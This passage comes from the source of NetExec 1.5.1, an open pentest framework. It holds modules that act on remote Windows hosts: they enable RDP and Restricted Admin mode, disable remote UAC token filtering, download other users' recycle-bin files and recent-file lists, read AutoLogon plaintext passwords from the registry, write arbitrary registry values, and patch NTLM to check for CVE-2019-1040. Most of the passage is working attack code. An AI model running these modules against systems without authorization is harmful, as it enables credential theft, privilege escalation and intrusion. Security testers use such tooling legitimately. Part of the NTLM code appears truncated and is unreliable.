context.log.debug(f"Could not loot RDCMan secrets: {e}") NetExec-1.5.1/nxc/modules/rdp.py000066400000000000000000000373621514706431700164730ustar00rootroot00000000000000from sys import exit from nxc.connection import dcom_FirewallChecker from nxc.helpers.misc import CATEGORY from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY import contextlib class NXCModule: name = "rdp" description = "Enables/Disables RDP" supported_protocols = ["smb", "wmi"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.action = None def options(self, context, module_options): """ ACTION Enable/Disable RDP (choices: enable, disable, enable-ram, disable-ram) METHOD wmi(ncacn_ip_tcp)/smb(ncacn_np) (choices: wmi, smb, default is wmi) OLD For old version system (under NT6, like: server 2003) DCOM-TIMEOUT Set the Dcom connection timeout for WMI method (Default is 10 seconds) nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o ACTION={enable, disable, enable-ram, disable-ram} {OLD=true} {DCOM-TIMEOUT=5} nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=smb ACTION={enable, disable, enable-ram, disable-ram} nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=wmi ACTION={enable, disable, enable-ram, disable-ram} {OLD=true} {DCOM-TIMEOUT=5} """ if "ACTION" not in module_options: context.log.fail("ACTION option not specified!") exit(1) if module_options["ACTION"].lower() not in ["enable", "disable", "enable-ram", "disable-ram"]: context.log.fail("Invalid value for ACTION option!") exit(1) self.action = module_options["ACTION"].lower() if "METHOD" not in module_options: self.method = "wmi" else: self.method = module_options["METHOD"].lower() if context.protocol != "smb" and self.method == "smb": context.log.fail(f"Protocol: {context.protocol} not support this method") exit(1) if "DCOM-TIMEOUT" not in module_options: self.dcom_timeout = 10 else: try: self.dcom_timeout = int(module_options["DCOM-TIMEOUT"]) except Exception: context.log.fail("Wrong DCOM timeout value!") exit(1) if "OLD" not in module_options: self.oldSystem = False else: self.oldSystem = True def on_admin_login(self, context, connection): # Preparation for wmi protocol if self.method == "smb": context.log.info("Executing over SMB(ncacn_np)") try: smb_rdp = RdpSmb(context, connection) if "ram" in self.action: smb_rdp.rdp_ram_wrapper(self.action) else: smb_rdp.rdp_wrapper(self.action) except Exception as e: context.log.fail(f"Enable RDP via smb error: {e!s}") elif self.method == "wmi": context.log.info("Executing over WMI(ncacn_ip_tcp)") wmi_rdp = RdpWmi(context, connection, self.dcom_timeout) if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"): if "ram" in self.action: # Nt version under 6 not support RAM. try: wmi_rdp.rdp_ram_wrapper(self.action) except Exception as e: if "WBEM_E_NOT_FOUND" in str(e): context.log.fail("System version under NT6 not support restricted admin mode") else: context.log.fail(str(e)) else: try: wmi_rdp.rdp_wrapper(self.action, self.oldSystem) except Exception as e: if "WBEM_E_INVALID_NAMESPACE" in str(e): context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.") else: context.log.fail(str(e)) wmi_rdp._RdpWmi__dcom.disconnect() class RdpSmb: def __init__(self, context, connection): self.context = context self.__smbconnection = connection.conn self.__execute = connection.execute self.logger = context.log def rdp_wrapper(self, action): remote_ops = RemoteOperations(self.__smbconnection, False) remote_ops.enableRegistry() if remote_ops._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) reg_handle = ans["phKey"] ans = rrp.hBaseRegOpenKey( remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", ) key_handle = ans["phkResult"] ans = rrp.hBaseRegSetValue( remote_ops._RemoteOperations__rrp, key_handle, "fDenyTSConnections", rrp.REG_DWORD, 0 if action == "enable" else 1, ) rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "fDenyTSConnections") if int(data) == 0: self.logger.success("Enable RDP via SMB(ncacn_np) successfully") elif int(data) == 1: self.logger.success("Disable RDP via SMB(ncacn_np) successfully") self.firewall_cmd(action) if action == "enable": self.query_rdp_port(remote_ops, reg_handle) with contextlib.suppress(Exception): remote_ops.finish() def rdp_ram_wrapper(self, action): remote_ops = RemoteOperations(self.__smbconnection, False) remote_ops.enableRegistry() if remote_ops._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) reg_handle = ans["phKey"] ans = rrp.hBaseRegOpenKey( remote_ops._RemoteOperations__rrp, reg_handle, "System\\CurrentControlSet\\Control\\Lsa", ) key_handle = ans["phkResult"] rrp.hBaseRegSetValue( remote_ops._RemoteOperations__rrp, key_handle, "DisableRestrictedAdmin", rrp.REG_DWORD, 0 if action == "enable-ram" else 1, ) rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "DisableRestrictedAdmin") if int(data) == 0: self.logger.success("Enable RDP Restricted Admin Mode via SMB(ncacn_np) succeed") elif int(data) == 1: self.logger.success("Disable RDP Restricted Admin Mode via SMB(ncacn_np) succeed") with contextlib.suppress(Exception): remote_ops.finish() def query_rdp_port(self, remoteOps, regHandle): if remoteOps: ans = rrp.hBaseRegOpenKey( remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", ) key_handle = ans["phkResult"] rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, key_handle, "PortNumber") self.logger.success(f"RDP Port: {data!s}") # https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/enable_rdp.rb def firewall_cmd(self, action): cmd = f"netsh firewall set service type = remotedesktop mode = {action}" self.logger.info("Configure firewall via execute command.") output = self.__execute(cmd, True) if output: self.logger.success(f"{action.capitalize()} RDP firewall rules via cmd succeed") else: self.logger.fail(f"{action.capitalize()} RDP firewall rules via cmd failed, maybe got detected by AV software.") class RdpWmi: def __init__(self, context, connection, timeout): self.logger = context.log self.__currentprotocol = context.protocol # From dfscoerce.py self.__username = connection.username self.__password = connection.password self.__domain = connection.domain self.__lmhash = connection.lmhash self.__nthash = connection.nthash self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.__doKerberos = connection.kerberos self.__kdcHost = connection.kdcHost self.__remoteHost = connection.host self.__aesKey = connection.aesKey self.__timeout = timeout try: self.__dcom = DCOMConnection( self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, remoteHost=self.__remoteHost, ) i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) if self.__currentprotocol == "smb": flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout) if not flag or not self.__stringBinding: error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"' if not self.__stringBinding: error_msg = "RDP-WMI: Dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again" self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg) # Make it force break function self.__dcom.disconnect() self.__iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface) except Exception as e: self.logger.fail(f'Unexpected wmi error: {e}, please try to use "-o" with "METHOD=smb"') if self.__iWbemLevel1Login in locals(): self.__dcom.disconnect() def rdp_wrapper(self, action, old=False): if old is False: # According to this document: https://learn.microsoft.com/en-us/windows/win32/termserv/win32-tslogonsetting # Authentication level must set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY when accessing namespace "//./root/cimv2/TerminalServices" i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL) i_wbem_services.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.__iWbemLevel1Login.RemRelease() i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting") i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0] if action == "enable": self.logger.info("Enabled RDP services and setting up firewall.") i_wbem_class_object.SetAllowTSConnections(1, 1) elif action == "disable": self.logger.info("Disabled RDP services and setting up firewall.") i_wbem_class_object.SetAllowTSConnections(0, 0) else: i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) self.__iWbemLevel1Login.RemRelease() i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting") i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0] if action == "enable": self.logger.info("Enabling RDP services (old system not support setting up firewall)") i_wbem_class_object.SetAllowTSConnections(1) elif action == "disable": self.logger.info("Disabling RDP services (old system not support setting up firewall)") i_wbem_class_object.SetAllowTSConnections(0) self.query_rdp_result(old) if action == "enable": self.query_rdp_port() # Need to create new iWbemServices interface in order to flush results def query_rdp_result(self, old=False): if old is False: i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL) i_wbem_services.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.__iWbemLevel1Login.RemRelease() i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting") i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0] result = dict(i_wbem_class_object.getProperties()) result = result["AllowTSConnections"]["value"] if result == 0: self.logger.success("Disable RDP via WMI(ncacn_ip_tcp) successfully") else: self.logger.success("Enable RDP via WMI(ncacn_ip_tcp) successfully") else: i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) self.__iWbemLevel1Login.RemRelease() i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting") i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0] result = dict(i_wbem_class_object.getProperties()) result = result["AllowTSConnections"]["value"] if result == 0: self.logger.success("Disable RDP via WMI(ncacn_ip_tcp) successfully (old system)") else: self.logger.success("Enable RDP via WMI(ncacn_ip_tcp) successfully (old system)") def query_rdp_port(self): i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL) self.__iWbemLevel1Login.RemRelease() std_reg_prov, resp = i_wbem_services.GetObject("StdRegProv") out = std_reg_prov.GetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", "PortNumber") self.logger.success(f"RDP Port: {out.uValue!s}") # Nt version under 6 not support RAM. def rdp_ram_wrapper(self, action): i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) self.__iWbemLevel1Login.RemRelease() std_reg_prov, resp = i_wbem_services.GetObject("StdRegProv") if action == "enable-ram": self.logger.info("Enabling Restricted Admin Mode.") std_reg_prov.SetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin", 0) elif action == "disable-ram": self.logger.info("Disabling Restricted Admin Mode (Clear).") std_reg_prov.DeleteValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin") out = std_reg_prov.GetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin") if out.uValue == 0: self.logger.success("Enable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully") elif out.uValue is None: self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully") NetExec-1.5.1/nxc/modules/recent_files.py000066400000000000000000000037261514706431700203450ustar00rootroot00000000000000import pylnk3 from io import BytesIO from nxc.helpers.misc import CATEGORY class NXCModule: # Get a list of recently modified files via LNK's stored in AppData\Roaming\Microsoft\Windows\Recent # Module by @Defte_ name = "recent_files" description = "Extracts recently modified files" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): lnks = [] for directory in connection.conn.listPath("C$", "Users\\*"): if directory.get_longname() not in self.false_positive and directory.is_directory(): context.log.highlight(f"C:\\{directory.get_longname()}") recent_files_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" for file in connection.conn.listPath("C$", f"{recent_files_dir}\\*"): file_path = f"{recent_files_dir}{file.get_longname()}" if file.get_longname() not in self.false_positive and not file.is_directory(): file_path = f"{recent_files_dir}{file.get_longname()}" try: buf = BytesIO() connection.conn.getFile("C$", file_path, buf.write) buf.seek(0) lnk = pylnk3.parse(buf).path.strip() if lnk and lnk not in lnks: context.log.highlight(f"\t{lnk}") lnks.append(lnk) except Exception as e: # Sometimes PyLnk3 can't parse the lnk file... context.log.debug(f"Couldn't open {file_path} because of {e}") NetExec-1.5.1/nxc/modules/recyclebin.py000066400000000000000000000133241514706431700200150ustar00rootroot00000000000000from os import makedirs from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH from os.path import join, abspath from impacket.dcerpc.v5 import rrp from impacket.dcerpc.v5.rrp import DCERPCSessionError from impacket.examples.secretsdump import RemoteOperations class NXCModule: # Module by @Defte_ # Dumps files from recycle bins name = "recyclebin" description = "Lists and exports users' recycle bins" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): false_positive_users = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] found = 0 try: remote_ops = RemoteOperations(connection.conn, connection.kerberos) remote_ops.enableRegistry() for sid_directory in connection.conn.listPath("C$", "$Recycle.Bin\\*"): try: if sid_directory.get_longname() and sid_directory.get_longname() not in false_positive_users: # Extracts the username from the SID reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{sid_directory.get_longname()}")["phkResult"] username = None try: _, profileimagepath = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath\x00") # Get username and remove embedded null byte username = profileimagepath.split("\\")[-1].rstrip("\x00") except rrp.DCERPCSessionError as e: context.log.debug(f"Couldn't get username from SID {e} on host {connection.host}") # Lists for any file or directory in the recycle bin spider_folder = f"$Recycle.Bin\\{sid_directory.get_longname()}\\" paths = connection.spider( "C$", folder=spider_folder, regex=[r"(.*)"], silent=True ) false_positive = (".", "..", "desktop.ini") filtered_file_paths = [path for path in paths if not path.endswith(false_positive)] if filtered_file_paths: if username is not None: context.log.highlight(f"CONTENT FOUND {sid_directory.get_longname()} ({username})") else: context.log.highlight(f"CONTENT FOUND {sid_directory.get_longname()}") for path in filtered_file_paths: # Returned path look like: # $Recycle.Bin\S-1-5-21-4140170355-2927207985-2497279808-500\/$I87021Q.txt # Or # $Recycle.Bin\S-1-5-21-4140170355-2927207985-2497279808-500\/$R87021Q.txt # $I files are metadata while $R are actual files so we split the path from the SID # And check that the filename contains $R only to prevent downloading useless stuff if "$R" in path.split(sid_directory.get_longname())[1] and not path.endswith(false_positive): # Create the export path export_path = join(NXC_PATH, "modules", "recyclebin") makedirs(export_path, exist_ok=True) # Formatting the destination filename file_path = path.split("$")[-1].replace("/", "_") filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}" dest_path = abspath(join(export_path, filename)) try: with open(dest_path, "wb+") as file: connection.conn.getFile("C$", path, file.write) except Exception as e: if "STATUS_FILE_IS_A_DIRECTORY" in str(e): context.log.debug(f"Couldn't open {dest_path} because of {e}") else: context.log.fail(f"Failed to write recyclebin file to {filename}: {e}") else: context.log.highlight(f"\t{dest_path}") found += 1 except DCERPCSessionError as e: if "ERROR_FILE_NOT_FOUND" in str(e): continue else: context.log.fail(f"Error opening {sid_directory.get_longname()} on host {connection.host} because of {e}") continue if found > 0: context.log.highlight(f"Recycle bin's content downloaded to {export_path}") except DCERPCSessionError as e: context.log.exception(e) context.log.fail(f"Error connecting to RemoteRegistry {e} on host {connection.host}") finally: remote_ops.finish() NetExec-1.5.1/nxc/modules/reg-query.py000066400000000000000000000161361514706431700176220ustar00rootroot00000000000000from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from nxc.helpers.misc import CATEGORY class NXCModule: name = "reg-query" description = "Performs a registry query on the machine" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.delete = None self.type = None self.value = None self.key = None self.path = None def options(self, context, module_options): """ PATH Registry key path to query KEY Registry key value to retrieve VALUE Registry key value to set (only used for modification) Will add a new registry key if the registry key does not already exist TYPE Type of registry to modify, add or delete. Default type : REG_SZ. Type supported: REG_NONE, REG_SZ, REG_EXPAND_SZ,REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD DELETE If set to True, delete a registry key if it does exist """ self.context = context self.path = None self.key = None self.value = None self.type = None self.delete = False if module_options and "PATH" in module_options: self.path = module_options["PATH"] if module_options and "KEY" in module_options: self.key = module_options["KEY"] if "VALUE" in module_options: self.value = module_options["VALUE"] if "TYPE" in module_options: type_dict = { "REG_NONE": rrp.REG_NONE, "REG_SZ": rrp.REG_SZ, "REG_EXPAND_SZ": rrp.REG_EXPAND_SZ, "REG_BINARY": rrp.REG_BINARY, "REG_DWORD": rrp.REG_DWORD, "REG_DWORD_BIG_ENDIAN": rrp.REG_DWORD_BIG_ENDIAN, "REG_LINK": rrp.REG_LINK, "REG_MULTI_SZ": rrp.REG_MULTI_SZ, "REG_QWORD": rrp.REG_QWORD, } self.type = module_options["TYPE"] if "WORD" in self.type: try: self.value = int(self.value) except Exception as e: context.log.fail(f"Invalid registry value type specified: {self.value}: {e}") return if self.type in type_dict: self.type = type_dict[self.type] else: context.log.fail(f"Invalid registry value type specified: {self.type}") return else: self.type = 1 if module_options and "DELETE" in module_options and module_options["DELETE"].lower() == "true": self.delete = True def on_admin_login(self, context, connection): self.context = context if not self.path: self.context.log.fail("Please provide the path of the registry to query") return if not self.key: self.context.log.fail("Please provide the registry key to query") return remote_ops = RemoteOperations(connection.conn, False) remote_ops.enableRegistry() try: if "HKLM" in self.path or "HKEY_LOCAL_MACHINE" in self.path: self.path = self.path.replace("HKLM\\", "") ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) elif "HKCU" in self.path or "HKEY_CURRENT_USER" in self.path: self.path = self.path.replace("HKCU\\", "") ans = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp) elif "HKCR" in self.path or "HKEY_CLASSES_ROOT" in self.path: self.path = self.path.replace("HKCR\\", "") ans = rrp.hOpenClassesRoot(remote_ops._RemoteOperations__rrp) else: self.context.log.fail(f"Unsupported registry hive specified in path: {self.path}") return reg_handle = ans["phKey"] ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, self.path) key_handle = ans["phkResult"] if self.delete: # Delete registry try: # Check if value exists data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) except Exception as e: self.context.log.fail(f"Registry key {self.key} does not exist: {e}") return # Delete value rrp.hBaseRegDeleteValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) self.context.log.success(f"Registry key {self.key} has been deleted successfully") rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) if self.value is not None: # Check if value exists try: # Check if value exists data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) self.context.log.highlight(f"Key {self.key} exists with value {reg_value}") # Modification rrp.hBaseRegSetValue( remote_ops._RemoteOperations__rrp, key_handle, self.key, self.type, self.value, ) self.context.log.success(f"Key {self.key} has been modified to {self.value}") except Exception: rrp.hBaseRegSetValue( remote_ops._RemoteOperations__rrp, key_handle, self.key, self.type, self.value, ) self.context.log.success(f"New Key {self.key} has been added with value {self.value}") rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) else: # Query try: data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) self.context.log.highlight(f"{self.key}: {reg_value}") except Exception: if self.delete: pass else: self.context.log.fail(f"Registry key {self.key} does not exist") return rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) except DCERPCException as e: self.context.log.fail(f"DCERPC Error while querying or modifying registry: {e}") except Exception as e: self.context.log.fail(f"Error while querying or modifying registry: {e}") finally: remote_ops.finish() NetExec-1.5.1/nxc/modules/reg-winlogon.py000066400000000000000000000032721514706431700203060ustar00rootroot00000000000000from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from nxc.helpers.misc import CATEGORY class NXCModule: r""" WinLogon AutoLogon: extract the credential from the following registry hive HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Module by @pentest_swissky """ name = "reg-winlogon" description = "Collect autologon credential stored in the registry" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): """ """ def on_admin_login(self, context, connection): remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) regHandle = ans["phKey"] ans = rrp.hBaseRegOpenKey( remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ) keyHandle = ans["phkResult"] reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"] for reg_key in reg_keys: try: dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key) context.log.highlight(f"{reg_key}: {reg_value}") except Exception: context.log.highlight(f"{reg_key}:") rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) remoteOps.finish() NetExec-1.5.1/nxc/modules/remote-uac.py000066400000000000000000000055171514706431700177440ustar00rootroot00000000000000from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from nxc.helpers.misc import CATEGORY class NXCModule: """Module by @Defte_""" name = "remote-uac" description = "Enable or disable remote UAC" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.action = None def options(self, context, module_options): """ Enables UAC (prevent non RID500 account to get high priv token remotely) Disables UAC (allow non RID500 account to get high priv token remotely) ACTION: "enable" or "disable" (required) """ if "ACTION" not in module_options: context.log.fail("ACTION option not specified!") return if module_options["ACTION"].lower() not in ["enable", "disable"]: context.log.fail("ACTION must be either enable, disable or query") return self.action = module_options["ACTION"].lower() def on_admin_login(self, context, connection): try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() if remoteOps._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) regHandle = ans["phKey"] keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"] # Checks if the key already exists or not try: rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00") except Exception as e: if "ERROR_FILE_NOT_FOUND" in str(e): context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it") ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00") # Disable remote UAC if self.action == "disable": rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1) context.log.highlight("Remote UAC disabled") # Enable remote UAC if self.action == "enable": rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0) context.log.highlight("Remote UAC enabled") except Exception as e: context.log.debug(f"Error {e}") finally: remoteOps.finish() NetExec-1.5.1/nxc/modules/remove-mic.py000066400000000000000000000214571514706431700177470ustar00rootroot00000000000000# Original Author: # Dirk-jan Mollema (@_dirkjan) # dlive (@D1iv3) # # Refernece: # - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ # - https://github.com/fox-it/cve-2019-1040-scanner # - https://github.com/Dliv3/cve-2019-1040-scanner # # Modify by: # XiaoliChan (@Memory_before) import calendar import struct import time import random import string from impacket import ntlm from impacket import nt_errors from impacket.smbconnection import SessionError from nxc.helpers.misc import CATEGORY class NXCModule: name = "remove-mic" description = "Check if host vulnerable to CVE-2019-1040" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.action = None def options(self, context, module_options): """PORT Port to check (defaults to 445)""" self.port = 445 if "PORT" in module_options: self.port = int(module_options["PORT"]) def on_login(self, context, connection): ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2 ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3 try: connection.conn.reconnect() except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER: context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)") else: context.log.info("Unexpected Exception while authentication") else: context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/") class Modify_Func: # Slightly modified version of impackets computeResponseNTLMv2 def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b"", service="cifs"): responseServerVersion = b"\x01" hiResponseServerVersion = b"\x01" responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash) av_pairs = ntlm.AV_PAIRS(serverName) # In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will # get access denied # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation # level av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None: aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1] else: aTime = struct.pack(" 0: av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value # Format according to: # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b temp = responseServerVersion # RespType 1 byte temp += hiResponseServerVersion # HiRespType 1 byte temp += b"\x00" * 2 # Reserved1 2 bytes temp += b"\x00" * 4 # Reserved2 4 bytes temp += aTime # TimeStamp 8 bytes temp += clientChallenge # ChallengeFromClient 8 bytes temp += b"\x00" * 4 # Reserved 4 bytes temp += av_pairs.getData() # AvPairs variable ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp) ntChallengeResponse = ntProofStr + temp lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr) if user == "" and password == "": # Special case for anonymous authentication ntChallengeResponse = "" lmChallengeResponse = "" return ntChallengeResponse, lmChallengeResponse, sessionBaseKey def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best. if password is None: password = "" # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with # international characters. import sys encoding = sys.getfilesystemencoding() if encoding is not None: try: user.encode("utf-16le") except Exception: user = user.decode(encoding) try: password.encode("utf-16le") except Exception: password = password.decode(encoding) try: domain.encode("utf-16le") except Exception: domain = user.decode(encoding) ntlmChallenge = ntlm.NTLMAuthChallenge(type2) # Let's start with the original flags sent in the type1 message responseFlags = type1["flags"] # Token received and parsed. Depending on the authentication # method we will create a valid ChallengeResponse ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"]) clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)])) serverName = ntlmChallenge["TargetInfoFields"] ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"], clientChallenge, serverName, domain, user, password, lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value) # Let's check the return flags if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: # No extended session security, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY if (ntlmChallenge["flags"] & 